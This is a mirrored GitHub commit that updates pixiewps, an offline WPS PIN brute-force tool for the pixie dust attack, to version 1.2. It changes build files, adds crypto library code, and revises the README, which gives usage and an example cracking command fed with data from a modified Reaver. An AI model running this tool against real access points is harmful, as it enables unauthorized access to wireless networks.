mirror of
https://github.com/wiire-a/pixiewps.git
synced 2025-07-28 16:24:55 +02:00
Updated to 1.2
Rewritten main loop. Added more modes, options and help. Removed OpenSSL dependency. Closed #8, closed #14, closed #18.
This commit is contained in:
parent
08a78c3c27
commit
32091e45ee
9
Android.mk
Normal file
9
Android.mk
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
LOCAL_PATH:=$(call my-dir)/src
|
||||||
|
include $(CLEAR_VARS)
|
||||||
|
|
||||||
|
LOCAL_CFLAGS:=-std=c99 -O3
|
||||||
|
|
||||||
|
LOCAL_MODULE:=pixiewps
|
||||||
|
LOCAL_SRC_FILES:=pixiewps.c random_r.c crypto/sha256.c crypto/md.c crypto/md_wrap.c
|
||||||
|
|
||||||
|
include $(BUILD_EXECUTABLE)
|
1
Makefile
1
Makefile
@ -11,7 +11,6 @@ define Package/pixiewps
|
|||||||
CATEGORY:=Network
|
CATEGORY:=Network
|
||||||
SUBMENU:=wireless
|
SUBMENU:=wireless
|
||||||
TITLE:=An offline WPS bruteforce utility
|
TITLE:=An offline WPS bruteforce utility
|
||||||
DEPENDS:=+libopenssl
|
|
||||||
URL:=https://github.com/wiire/pixiewps
|
URL:=https://github.com/wiire/pixiewps
|
||||||
endef
|
endef
|
||||||
|
|
||||||
|
159
README.md
159
README.md
@ -1,51 +1,70 @@
|
|||||||
# OVERVIEW [] (https://github.com/wiire/pixiewps/blob/master/LICENSE.md)
|
# Overview [] (https://github.com/wiire/pixiewps/blob/master/LICENSE.md)
|
||||||
|
|
||||||
Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some APs (pixie dust attack). It is meant for educational purposes only. All credits for the research go to Dominique Bongard.
|
**Pixiewps** is a tool written in C used to **bruteforce offline** the WPS pin exploiting the low or non-existing entropy of some APs (pixie dust attack). It is meant for educational purposes only.
|
||||||
|
|
||||||
# DEPENDENCIES
|
- - -
|
||||||
|
|
||||||
Pixiewps requires libssl. To install it:
|
# Requirements
|
||||||
|
|
||||||
```
|
Prior versions of 1.2 require [libssl-dev](https://www.openssl.org/).
|
||||||
sudo apt-get install libssl-dev
|
|
||||||
|
- - -
|
||||||
|
|
||||||
|
# Setup
|
||||||
|
|
||||||
|
**Download**
|
||||||
|
|
||||||
|
`git clone https://github.com/wiire/pixiewps`
|
||||||
|
|
||||||
|
or
|
||||||
|
|
||||||
|
`wget https://github.com/wiire/pixiewps/archive/master.zip && unzip master.zip`
|
||||||
|
|
||||||
|
**Build**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd pixiewps*/
|
||||||
|
cd src/
|
||||||
|
make
|
||||||
```
|
```
|
||||||
|
|
||||||
# INSTALLATION
|
**Install**
|
||||||
|
|
||||||
Pixiewps can be built and installed by running:
|
`sudo make install`
|
||||||
|
|
||||||
|
- - -
|
||||||
|
|
||||||
|
# Usage
|
||||||
|
|
||||||
```
|
```
|
||||||
~/pixiewps$ cd src
|
Usage: pixiewps <arguments>
|
||||||
~/pixiewps/src$ make
|
|
||||||
~/pixiewps/src$ sudo make install
|
Required Arguments:
|
||||||
|
|
||||||
|
-e, --pke : Enrollee public key
|
||||||
|
-r, --pkr : Registrar public key
|
||||||
|
-s, --e-hash1 : Enrollee hash 1
|
||||||
|
-z, --e-hash2 : Enrollee hash 2
|
||||||
|
-a, --authkey : Authentication session key
|
||||||
|
-n, --e-nonce : Enrollee nonce
|
||||||
|
|
||||||
|
Optional Arguments:
|
||||||
|
|
||||||
|
-m, --r-nonce : Registrar nonce
|
||||||
|
-b, --e-bssid : Enrollee BSSID
|
||||||
|
-S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]
|
||||||
|
-v, --verbosity : Verbosity level 1-3, 1 is quietest [3]
|
||||||
|
|
||||||
|
-h : Display this usage screen
|
||||||
|
--help : Verbose help and more usage examples
|
||||||
|
-V, --version : Display version
|
||||||
|
|
||||||
|
--mode N[,... N] : Mode selection, comma separated [Auto]
|
||||||
|
--start [mm/]yyyy : Starting date (only mode 3) [Current time]
|
||||||
|
--end [mm/]yyyy : Ending date (only mode 3) [-3 days]
|
||||||
```
|
```
|
||||||
|
|
||||||
# USAGE
|
# Usage example
|
||||||
|
|
||||||
```
|
|
||||||
Usage: pixiewps <arguments>
|
|
||||||
|
|
||||||
Required Arguments:
|
|
||||||
|
|
||||||
-e, --pke : Enrollee public key
|
|
||||||
-r, --pkr : Registrar public key
|
|
||||||
-s, --e-hash1 : Enrollee Hash1
|
|
||||||
-z, --e-hash2 : Enrollee Hash2
|
|
||||||
-a, --authkey : Authentication session key
|
|
||||||
|
|
||||||
Optional Arguments:
|
|
||||||
|
|
||||||
-n, --e-nonce : Enrollee nonce
|
|
||||||
-m, --r-nonce : Registrar nonce
|
|
||||||
-b, --e-bssid : Enrollee BSSID
|
|
||||||
-S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]
|
|
||||||
-f, --force : Bruteforce the whole keyspace [No]
|
|
||||||
-v, --verbosity : Verbosity level 1-3, 1 is quietest [3]
|
|
||||||
|
|
||||||
-h, --help : Display this usage screen
|
|
||||||
```
|
|
||||||
|
|
||||||
# USAGE EXAMPLE
|
|
||||||
|
|
||||||
A common usage example is:
|
A common usage example is:
|
||||||
|
|
||||||
@ -53,68 +72,4 @@ A common usage example is:
|
|||||||
pixiewps --pke <pke> --pkr <pkr> --e-hash1 <e-hash1> --e-hash2 <e-hash2> --authkey <authkey> --e-nonce <e-nonce>
|
pixiewps --pke <pke> --pkr <pkr> --e-hash1 <e-hash1> --e-hash2 <e-hash2> --authkey <authkey> --e-nonce <e-nonce>
|
||||||
```
|
```
|
||||||
|
|
||||||
which requires a modified version of Reaver or Bully which prints *AuthKey*. The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x).
|
which requires a modified version of Reaver or Bully which prints *AuthKey*. The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x).
|
||||||
|
|
||||||
If the following message is shown:
|
|
||||||
|
|
||||||
> [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.
|
|
||||||
|
|
||||||
then the AP might be vulnerable and Pixiewps should be run again with the same set of data along with the option `--force` or alternatively with a newer set of data.
|
|
||||||
|
|
||||||
# DESCRIPTION OF ARGUMENTS
|
|
||||||
|
|
||||||
```
|
|
||||||
-e, --pke
|
|
||||||
|
|
||||||
Enrollee's DH public key, found in M1.
|
|
||||||
|
|
||||||
-r, --pkr
|
|
||||||
|
|
||||||
Registrar's DH public key, found in M2 or can be avoided by specifying
|
|
||||||
--dh-small in both Reaver and Pixiewps.
|
|
||||||
|
|
||||||
-s, --e-hash1
|
|
||||||
|
|
||||||
Enrollee Hash-1, found in M3.
|
|
||||||
|
|
||||||
-z, --e-hash2
|
|
||||||
|
|
||||||
Enrollee Hash-2, found in M3.
|
|
||||||
|
|
||||||
-a, --authkey
|
|
||||||
|
|
||||||
Registration Protocol authentication session key. Although for this parameter a
|
|
||||||
modified version of Reaver or Bully is needed, it can be avoided by specifying
|
|
||||||
small Diffie-Hellman keys in both Reaver and Pixiewps and supplying --e-nonce,
|
|
||||||
--r-nonce and --e-bssid.
|
|
||||||
|
|
||||||
-n, --e-nonce
|
|
||||||
|
|
||||||
Enrollee's nonce, found in M1.
|
|
||||||
|
|
||||||
-m, --r-nonce
|
|
||||||
|
|
||||||
Registrar's nonce, found in M2.
|
|
||||||
|
|
||||||
-b, --e-bssid
|
|
||||||
|
|
||||||
Enrollee's BSSID.
|
|
||||||
|
|
||||||
-S, --dh-small
|
|
||||||
|
|
||||||
Small Diffie-Hellman keys. The same option MUST be specified in Reaver
|
|
||||||
(1.3 or later versions) too. This option should be avoided when possible.
|
|
||||||
|
|
||||||
-f, --force
|
|
||||||
|
|
||||||
Force Pixiewps to bruteforce the whole keyspace (only for one type of PRNG).
|
|
||||||
It could take up to several minutes to complete.
|
|
||||||
|
|
||||||
-v, --verbosity
|
|
||||||
|
|
||||||
Verbosity level (1-3). Level 3 displays the most information.
|
|
||||||
|
|
||||||
-h, --help
|
|
||||||
|
|
||||||
Display usage screen.
|
|
||||||
```
|
|
@ -1,306 +0,0 @@
|
|||||||
/* Copyright (C) 1991,1992,1993,1995-2006,2007 Free Software Foundation, Inc.
|
|
||||||
This file is part of the GNU C Library.
|
|
||||||
The GNU C Library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
The GNU C Library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with the GNU C Library; if not, write to the Free
|
|
||||||
Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
|
|
||||||
02111-1307 USA. */
|
|
||||||
#ifndef _FEATURES_H
|
|
||||||
#define _FEATURES_H 1
|
|
||||||
/* These are defined by the user (or the compiler)
|
|
||||||
to specify the desired environment:
|
|
||||||
__STRICT_ANSI__ ISO Standard C.
|
|
||||||
_ISOC99_SOURCE Extensions to ISO C89 from ISO C99.
|
|
||||||
_POSIX_SOURCE IEEE Std 1003.1.
|
|
||||||
_POSIX_C_SOURCE If ==1, like _POSIX_SOURCE; if >=2 add IEEE Std 1003.2;
|
|
||||||
if >=199309L, add IEEE Std 1003.1b-1993;
|
|
||||||
if >=199506L, add IEEE Std 1003.1c-1995;
|
|
||||||
if >=200112L, all of IEEE 1003.1-2004
|
|
||||||
_XOPEN_SOURCE Includes POSIX and XPG things. Set to 500 if
|
|
||||||
Single Unix conformance is wanted, to 600 for the
|
|
||||||
upcoming sixth revision.
|
|
||||||
_XOPEN_SOURCE_EXTENDED XPG things and X/Open Unix extensions.
|
|
||||||
_LARGEFILE_SOURCE Some more functions for correct standard I/O.
|
|
||||||
_LARGEFILE64_SOURCE Additional functionality from LFS for large files.
|
|
||||||
_FILE_OFFSET_BITS=N Select default filesystem interface.
|
|
||||||
_BSD_SOURCE ISO C, POSIX, and 4.3BSD things.
|
|
||||||
_SVID_SOURCE ISO C, POSIX, and SVID things.
|
|
||||||
_ATFILE_SOURCE Additional *at interfaces.
|
|
||||||
_GNU_SOURCE All of the above, plus GNU extensions.
|
|
||||||
_REENTRANT Select additionally reentrant object.
|
|
||||||
_THREAD_SAFE Same as _REENTRANT, often used by other systems.
|
|
||||||
_FORTIFY_SOURCE If set to numeric value > 0 additional security
|
|
||||||
measures are defined, according to level.
|
|
||||||
The `-ansi' switch to the GNU C compiler defines __STRICT_ANSI__.
|
|
||||||
If none of these are defined, the default is to have _SVID_SOURCE,
|
|
||||||
_BSD_SOURCE, and _POSIX_SOURCE set to one and _POSIX_C_SOURCE set to
|
|
||||||
200112L. If more than one of these are defined, they accumulate.
|
|
||||||
For example __STRICT_ANSI__, _POSIX_SOURCE and _POSIX_C_SOURCE
|
|
||||||
together give you ISO C, 1003.1, and 1003.2, but nothing else.
|
|
||||||
These are defined by this file and are used by the
|
|
||||||
header files to decide what to declare or define:
|
|
||||||
__USE_ISOC99 Define ISO C99 things.
|
|
||||||
__USE_ISOC95 Define ISO C90 AMD1 (C95) things.
|
|
||||||
__USE_POSIX Define IEEE Std 1003.1 things.
|
|
||||||
__USE_POSIX2 Define IEEE Std 1003.2 things.
|
|
||||||
__USE_POSIX199309 Define IEEE Std 1003.1, and .1b things.
|
|
||||||
__USE_POSIX199506 Define IEEE Std 1003.1, .1b, .1c and .1i things.
|
|
||||||
__USE_XOPEN Define XPG things.
|
|
||||||
__USE_XOPEN_EXTENDED Define X/Open Unix things.
|
|
||||||
__USE_UNIX98 Define Single Unix V2 things.
|
|
||||||
__USE_XOPEN2K Define XPG6 things.
|
|
||||||
__USE_LARGEFILE Define correct standard I/O things.
|
|
||||||
__USE_LARGEFILE64 Define LFS things with separate names.
|
|
||||||
__USE_FILE_OFFSET64 Define 64bit interface as default.
|
|
||||||
__USE_BSD Define 4.3BSD things.
|
|
||||||
__USE_SVID Define SVID things.
|
|
||||||
__USE_MISC Define things common to BSD and System V Unix.
|
|
||||||
__USE_ATFILE Define *at interfaces and AT_* constants for them.
|
|
||||||
__USE_GNU Define GNU extensions.
|
|
||||||
__USE_REENTRANT Define reentrant/thread-safe *_r functions.
|
|
||||||
__USE_FORTIFY_LEVEL Additional security measures used, according to level.
|
|
||||||
__FAVOR_BSD Favor 4.3BSD things in cases of conflict.
|
|
||||||
The macros `__GNU_LIBRARY__', `__GLIBC__', and `__GLIBC_MINOR__' are
|
|
||||||
defined by this file unconditionally. `__GNU_LIBRARY__' is provided
|
|
||||||
only for compatibility. All new code should use the other symbols
|
|
||||||
to test for features.
|
|
||||||
All macros listed above as possibly being defined by this file are
|
|
||||||
explicitly undefined if they are not explicitly defined.
|
|
||||||
Feature-test macros that are not defined by the user or compiler
|
|
||||||
but are implied by the other feature-test macros defined (or by the
|
|
||||||
lack of any definitions) are defined by the file. */
|
|
||||||
/* Undefine everything, so we get a clean slate. */
|
|
||||||
#undef __USE_ISOC99
|
|
||||||
#undef __USE_ISOC95
|
|
||||||
#undef __USE_POSIX
|
|
||||||
#undef __USE_POSIX2
|
|
||||||
#undef __USE_POSIX199309
|
|
||||||
#undef __USE_POSIX199506
|
|
||||||
#undef __USE_XOPEN
|
|
||||||
#undef __USE_XOPEN_EXTENDED
|
|
||||||
#undef __USE_UNIX98
|
|
||||||
#undef __USE_XOPEN2K
|
|
||||||
#undef __USE_LARGEFILE
|
|
||||||
#undef __USE_LARGEFILE64
|
|
||||||
#undef __USE_FILE_OFFSET64
|
|
||||||
#undef __USE_BSD
|
|
||||||
#undef __USE_SVID
|
|
||||||
#undef __USE_MISC
|
|
||||||
#undef __USE_ATFILE
|
|
||||||
#undef __USE_GNU
|
|
||||||
#undef __USE_REENTRANT
|
|
||||||
#undef __USE_FORTIFY_LEVEL
|
|
||||||
#undef __FAVOR_BSD
|
|
||||||
#undef __KERNEL_STRICT_NAMES
|
|
||||||
/* Suppress kernel-name space pollution unless user expressedly asks
|
|
||||||
for it. */
|
|
||||||
#ifndef _LOOSE_KERNEL_NAMES
|
|
||||||
# define __KERNEL_STRICT_NAMES
|
|
||||||
#endif
|
|
||||||
/* Always use ISO C things. */
|
|
||||||
#define __USE_ANSI 1
|
|
||||||
/* Convenience macros to test the versions of glibc and gcc.
|
|
||||||
Use them like this:
|
|
||||||
#if __GNUC_PREREQ (2,8)
|
|
||||||
... code requiring gcc 2.8 or later ...
|
|
||||||
#endif
|
|
||||||
Note - they won't work for gcc1 or glibc1, since the _MINOR macros
|
|
||||||
were not defined then. */
|
|
||||||
#if defined __GNUC__ && defined __GNUC_MINOR__
|
|
||||||
# define __GNUC_PREREQ(maj, min) \
|
|
||||||
((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min))
|
|
||||||
#else
|
|
||||||
# define __GNUC_PREREQ(maj, min) 0
|
|
||||||
#endif
|
|
||||||
/* If _BSD_SOURCE was defined by the user, favor BSD over POSIX. */
|
|
||||||
#if defined _BSD_SOURCE && \
|
|
||||||
!(defined _POSIX_SOURCE || defined _POSIX_C_SOURCE || \
|
|
||||||
defined _XOPEN_SOURCE || defined _XOPEN_SOURCE_EXTENDED || \
|
|
||||||
defined _GNU_SOURCE || defined _SVID_SOURCE)
|
|
||||||
# define __FAVOR_BSD 1
|
|
||||||
#endif
|
|
||||||
/* If _GNU_SOURCE was defined by the user, turn on all the other features. */
|
|
||||||
#ifdef _GNU_SOURCE
|
|
||||||
# undef _ISOC99_SOURCE
|
|
||||||
# define _ISOC99_SOURCE 1
|
|
||||||
# undef _POSIX_SOURCE
|
|
||||||
# define _POSIX_SOURCE 1
|
|
||||||
# undef _POSIX_C_SOURCE
|
|
||||||
# define _POSIX_C_SOURCE 200112L
|
|
||||||
# undef _XOPEN_SOURCE
|
|
||||||
# define _XOPEN_SOURCE 600
|
|
||||||
# undef _XOPEN_SOURCE_EXTENDED
|
|
||||||
# define _XOPEN_SOURCE_EXTENDED 1
|
|
||||||
# undef _LARGEFILE64_SOURCE
|
|
||||||
# define _LARGEFILE64_SOURCE 1
|
|
||||||
# undef _BSD_SOURCE
|
|
||||||
# define _BSD_SOURCE 1
|
|
||||||
# undef _SVID_SOURCE
|
|
||||||
# define _SVID_SOURCE 1
|
|
||||||
# undef _ATFILE_SOURCE
|
|
||||||
# define _ATFILE_SOURCE 1
|
|
||||||
#endif
|
|
||||||
/* If nothing (other than _GNU_SOURCE) is defined,
|
|
||||||
define _BSD_SOURCE and _SVID_SOURCE. */
|
|
||||||
#if (!defined __STRICT_ANSI__ && !defined _ISOC99_SOURCE && \
|
|
||||||
!defined _POSIX_SOURCE && !defined _POSIX_C_SOURCE && \
|
|
||||||
!defined _XOPEN_SOURCE && !defined _XOPEN_SOURCE_EXTENDED && \
|
|
||||||
!defined _BSD_SOURCE && !defined _SVID_SOURCE)
|
|
||||||
# define _BSD_SOURCE 1
|
|
||||||
# define _SVID_SOURCE 1
|
|
||||||
#endif
|
|
||||||
/* This is to enable the ISO C99 extension. Also recognize the old macro
|
|
||||||
which was used prior to the standard acceptance. This macro will
|
|
||||||
eventually go away and the features enabled by default once the ISO C99
|
|
||||||
standard is widely adopted. */
|
|
||||||
#if (defined _ISOC99_SOURCE || defined _ISOC9X_SOURCE \
|
|
||||||
|| (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L))
|
|
||||||
# define __USE_ISOC99 1
|
|
||||||
#endif
|
|
||||||
/* This is to enable the ISO C90 Amendment 1:1995 extension. */
|
|
||||||
#if (defined _ISOC99_SOURCE || defined _ISOC9X_SOURCE \
|
|
||||||
|| (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199409L))
|
|
||||||
# define __USE_ISOC95 1
|
|
||||||
#endif
|
|
||||||
/* If none of the ANSI/POSIX macros are defined, use POSIX.1 and POSIX.2
|
|
||||||
(and IEEE Std 1003.1b-1993 unless _XOPEN_SOURCE is defined). */
|
|
||||||
#if ((!defined __STRICT_ANSI__ || (_XOPEN_SOURCE - 0) >= 500) && \
|
|
||||||
!defined _POSIX_SOURCE && !defined _POSIX_C_SOURCE)
|
|
||||||
# define _POSIX_SOURCE 1
|
|
||||||
# if defined _XOPEN_SOURCE && (_XOPEN_SOURCE - 0) < 500
|
|
||||||
# define _POSIX_C_SOURCE 2
|
|
||||||
# elif defined _XOPEN_SOURCE && (_XOPEN_SOURCE - 0) < 600
|
|
||||||
# define _POSIX_C_SOURCE 199506L
|
|
||||||
# else
|
|
||||||
# define _POSIX_C_SOURCE 200112L
|
|
||||||
# endif
|
|
||||||
#endif
|
|
||||||
#if defined _POSIX_SOURCE || _POSIX_C_SOURCE >= 1 || defined _XOPEN_SOURCE
|
|
||||||
# define __USE_POSIX 1
|
|
||||||
#endif
|
|
||||||
#if defined _POSIX_C_SOURCE && _POSIX_C_SOURCE >= 2 || defined _XOPEN_SOURCE
|
|
||||||
# define __USE_POSIX2 1
|
|
||||||
#endif
|
|
||||||
#if (_POSIX_C_SOURCE - 0) >= 199309L
|
|
||||||
# define __USE_POSIX199309 1
|
|
||||||
#endif
|
|
||||||
#if (_POSIX_C_SOURCE - 0) >= 199506L
|
|
||||||
# define __USE_POSIX199506 1
|
|
||||||
#endif
|
|
||||||
#if (_POSIX_C_SOURCE - 0) >= 200112L
|
|
||||||
# define __USE_XOPEN2K 1
|
|
||||||
#endif
|
|
||||||
#ifdef _XOPEN_SOURCE
|
|
||||||
# define __USE_XOPEN 1
|
|
||||||
# if (_XOPEN_SOURCE - 0) >= 500
|
|
||||||
# define __USE_XOPEN_EXTENDED 1
|
|
||||||
# define __USE_UNIX98 1
|
|
||||||
# undef _LARGEFILE_SOURCE
|
|
||||||
# define _LARGEFILE_SOURCE 1
|
|
||||||
# if (_XOPEN_SOURCE - 0) >= 600
|
|
||||||
# define __USE_XOPEN2K 1
|
|
||||||
# undef __USE_ISOC99
|
|
||||||
# define __USE_ISOC99 1
|
|
||||||
# endif
|
|
||||||
# else
|
|
||||||
# ifdef _XOPEN_SOURCE_EXTENDED
|
|
||||||
# define __USE_XOPEN_EXTENDED 1
|
|
||||||
# endif
|
|
||||||
# endif
|
|
||||||
#endif
|
|
||||||
#ifdef _LARGEFILE_SOURCE
|
|
||||||
# define __USE_LARGEFILE 1
|
|
||||||
#endif
|
|
||||||
#ifdef _LARGEFILE64_SOURCE
|
|
||||||
# define __USE_LARGEFILE64 1
|
|
||||||
#endif
|
|
||||||
#if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64
|
|
||||||
# define __USE_FILE_OFFSET64 1
|
|
||||||
#endif
|
|
||||||
#if defined _BSD_SOURCE || defined _SVID_SOURCE
|
|
||||||
# define __USE_MISC 1
|
|
||||||
#endif
|
|
||||||
#ifdef _BSD_SOURCE
|
|
||||||
# define __USE_BSD 1
|
|
||||||
#endif
|
|
||||||
#ifdef _SVID_SOURCE
|
|
||||||
# define __USE_SVID 1
|
|
||||||
#endif
|
|
||||||
#ifdef _ATFILE_SOURCE
|
|
||||||
# define __USE_ATFILE 1
|
|
||||||
#endif
|
|
||||||
#ifdef _GNU_SOURCE
|
|
||||||
# define __USE_GNU 1
|
|
||||||
#endif
|
|
||||||
#if defined _REENTRANT || defined _THREAD_SAFE
|
|
||||||
# define __USE_REENTRANT 1
|
|
||||||
#endif
|
|
||||||
#if defined _FORTIFY_SOURCE && _FORTIFY_SOURCE > 0 \
|
|
||||||
&& __GNUC_PREREQ (4, 1) && defined __OPTIMIZE__ && __OPTIMIZE__ > 0
|
|
||||||
# if _FORTIFY_SOURCE > 1
|
|
||||||
# define __USE_FORTIFY_LEVEL 2
|
|
||||||
# else
|
|
||||||
# define __USE_FORTIFY_LEVEL 1
|
|
||||||
# endif
|
|
||||||
#else
|
|
||||||
# define __USE_FORTIFY_LEVEL 0
|
|
||||||
#endif
|
|
||||||
/* We do support the IEC 559 math functionality, real and complex. */
|
|
||||||
#define __STDC_IEC_559__ 1
|
|
||||||
#define __STDC_IEC_559_COMPLEX__ 1
|
|
||||||
/* wchar_t uses ISO 10646-1 (2nd ed., published 2000-09-15) / Unicode 3.1. */
|
|
||||||
#define __STDC_ISO_10646__ 200009L
|
|
||||||
/* This macro indicates that the installed library is the GNU C Library.
|
|
||||||
For historic reasons the value now is 6 and this will stay from now
|
|
||||||
on. The use of this variable is deprecated. Use __GLIBC__ and
|
|
||||||
__GLIBC_MINOR__ now (see below) when you want to test for a specific
|
|
||||||
GNU C library version and use the values in <gnu/lib-names.h> to get
|
|
||||||
the sonames of the shared libraries. */
|
|
||||||
#undef __GNU_LIBRARY__
|
|
||||||
#define __GNU_LIBRARY__ 6
|
|
||||||
/* Major and minor version number of the GNU C library package. Use
|
|
||||||
these macros to test for features in specific releases. */
|
|
||||||
#define __GLIBC__ 2
|
|
||||||
#define __GLIBC_MINOR__ 7
|
|
||||||
#define __GLIBC_PREREQ(maj, min) \
|
|
||||||
((__GLIBC__ << 16) + __GLIBC_MINOR__ >= ((maj) << 16) + (min))
|
|
||||||
/* Decide whether a compiler supports the long long datatypes. */
|
|
||||||
#if defined __GNUC__ \
|
|
||||||
|| (defined __PGI && defined __i386__ ) \
|
|
||||||
|| (defined __INTEL_COMPILER && (defined __i386__ || defined __ia64__)) \
|
|
||||||
|| (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L)
|
|
||||||
# define __GLIBC_HAVE_LONG_LONG 1
|
|
||||||
#endif
|
|
||||||
/* This is here only because every header file already includes this one. */
|
|
||||||
#ifndef __ASSEMBLER__
|
|
||||||
# ifndef _SYS_CDEFS_H
|
|
||||||
# include <sys/cdefs.h>
|
|
||||||
# endif
|
|
||||||
/* If we don't have __REDIRECT, prototypes will be missing if
|
|
||||||
__USE_FILE_OFFSET64 but not __USE_LARGEFILE[64]. */
|
|
||||||
# if defined __USE_FILE_OFFSET64 && !defined __REDIRECT
|
|
||||||
# define __USE_LARGEFILE 1
|
|
||||||
# define __USE_LARGEFILE64 1
|
|
||||||
# endif
|
|
||||||
#endif /* !ASSEMBLER */
|
|
||||||
/* Decide whether we can define 'extern inline' functions in headers. */
|
|
||||||
#if __GNUC_PREREQ (2, 7) && defined __OPTIMIZE__ \
|
|
||||||
&& !defined __OPTIMIZE_SIZE__ && !defined __NO_INLINE__ \
|
|
||||||
&& defined __extern_inline
|
|
||||||
# define __USE_EXTERN_INLINES 1
|
|
||||||
#endif
|
|
||||||
/* This is here only because every header file already includes this one.
|
|
||||||
Get the definitions of all the appropriate `__stub_FUNCTION' symbols.
|
|
||||||
<gnu/stubs.h> contains `#define __stub_FUNCTION' when FUNCTION is a stub
|
|
||||||
that will always return failure (and set errno to ENOSYS). */
|
|
||||||
#ifndef __MACH__
|
|
||||||
#include <gnu/stubs.h>
|
|
||||||
#endif
|
|
||||||
#endif /* features.h */
|
|
11
src/Makefile
11
src/Makefile
@ -1,14 +1,17 @@
|
|||||||
CCFLAGS = -std=c99 -O3 -Wno-deprecated-declarations
|
CCFLAGS = -std=c99 -O3 -Wall
|
||||||
LDFLAGS = -lcrypto
|
|
||||||
|
|
||||||
TARGET = pixiewps
|
TARGET = pixiewps
|
||||||
SOURCE = $(TARGET).c random_r.c
|
CRYPTO = crypto/sha256.c crypto/md.c crypto/md_wrap.c
|
||||||
|
SOURCE = $(TARGET).c random_r.c $(CRYPTO)
|
||||||
PREFIX = $(DESTDIR)/usr
|
PREFIX = $(DESTDIR)/usr
|
||||||
BINDIR = $(PREFIX)/bin
|
BINDIR = $(PREFIX)/bin
|
||||||
OLDDIR = $(PREFIX)/local/bin
|
OLDDIR = $(PREFIX)/local/bin
|
||||||
|
|
||||||
all:
|
all:
|
||||||
$(CC) $(CCFLAGS) -o $(TARGET) $(SOURCE) $(LDFLAGS)
|
$(CC) $(CCFLAGS) -o $(TARGET) $(SOURCE)
|
||||||
|
|
||||||
|
debug:
|
||||||
|
$(CC) $(CCFLAGS) -DDEBUG -o $(TARGET) $(SOURCE)
|
||||||
|
|
||||||
install:
|
install:
|
||||||
rm -f $(OLDDIR)/$(TARGET)
|
rm -f $(OLDDIR)/$(TARGET)
|
||||||
|
39
src/config.h
Normal file
39
src/config.h
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
/*
|
||||||
|
* Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack).
|
||||||
|
* All credits for the research go to Dominique Bongard.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2015, wiire <wi7ire@gmail.com>
|
||||||
|
* SPDX-License-Identifier: GPL-3.0
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
#ifndef CONFIG_H
|
||||||
|
#define CONFIG_H
|
||||||
|
|
||||||
|
#if __STDC_VERSION__ < 199901L
|
||||||
|
# define inline static
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
typedef unsigned char uint8_t;
|
||||||
|
|
||||||
|
#include "crypto/md_internal.h"
|
||||||
|
#include "crypto/sha256.h"
|
||||||
|
|
||||||
|
#define sha256(i, l, d) mbedtls_sha256(i, l, d, 0)
|
||||||
|
#define hmac_sha256(k, l, i, n, o) \
|
||||||
|
mbedtls_md_hmac(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), k, l, i, n, o)
|
||||||
|
|
||||||
|
#endif /* CONFIG_H */
|
369
src/crypto/md.c
Normal file
369
src/crypto/md.c
Normal file
@ -0,0 +1,369 @@
|
|||||||
|
/**
|
||||||
|
* \file mbedtls_md.c
|
||||||
|
*
|
||||||
|
* \brief Generic message digest wrapper for mbed TLS
|
||||||
|
*
|
||||||
|
* \author Adriaan de Jong <dejong@fox-it.com>
|
||||||
|
*
|
||||||
|
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); you may
|
||||||
|
* not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
|
||||||
|
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* This file is part of mbed TLS (https://tls.mbed.org)
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "md.h"
|
||||||
|
#include "md_internal.h"
|
||||||
|
|
||||||
|
#define mbedtls_calloc calloc
|
||||||
|
#define mbedtls_free free
|
||||||
|
|
||||||
|
/* Implementation that should never be optimized out by the compiler */
|
||||||
|
